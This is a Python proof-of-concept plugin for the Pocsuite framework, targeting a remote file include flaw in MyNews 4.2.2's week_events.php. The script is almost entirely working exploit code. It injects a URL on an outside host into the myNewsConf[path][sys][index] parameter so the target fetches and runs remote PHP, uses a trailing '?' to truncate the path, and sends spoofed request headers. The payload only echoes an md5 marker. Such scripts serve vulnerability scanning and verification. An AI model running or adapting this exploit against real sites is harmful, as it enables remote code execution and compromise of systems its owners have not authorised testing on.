MyNews 4.2.2 Week_Events.PHP Remote File Include Vulnerability

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '83309'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2007-04-12'
    createDate = '2015-12-29'
    updateDate = '2015-12-29'
    references = ['http://www.sebug.net/vuldb/ssvid-83309']
    name = 'MyNews 4.2.2 Week_Events.PHP Remote File Include Vulnerability'
    appPowerLink = 'N/A'
    appName = 'MyNews'
    appVersion = '4.2.2'
    vulType = 'Remote File Include'
    desc = '''
        MyNews的include/blocks/week_events.php中存在PHP远程文件包含漏洞。
        当register_globals和allow_url_include开启时，远程攻击者可以借助
        myNewsConf[path][sys][index]参数中的一个URL，执行任意的PHP代码。
    '''
    samples = ['']

    def _attack(self):
        #和_verify的过程一致（执行<?php echo md5('3.1416');?>）
        return self._verify()

    def _verify(self):
        #下面以/include/blocks/week_events.php文件为例子，验证RFI漏洞
        result = {}
        #<?php echo md5('3.1416');?>，payload中最后的?起到伪截断作用
        payload='http://tool.scanv.com/wsl/php_verify.txt?'
        vulurl='{url}/include/blocks/week_events.php?myNewsConf[path][sys][index]={evil}'.format(url=self.url,evil=payload)
        #伪造的HTTP头
        httphead = {
          'Host':'www.google.com',
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #md5('3.1416')=d4d7a6b8b3ed8ed86db2ef2cd728d8ec
        match = re.search('d4d7a6b8b3ed8ed86db2ef2cd728d8ec', resp.content)
        if match:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)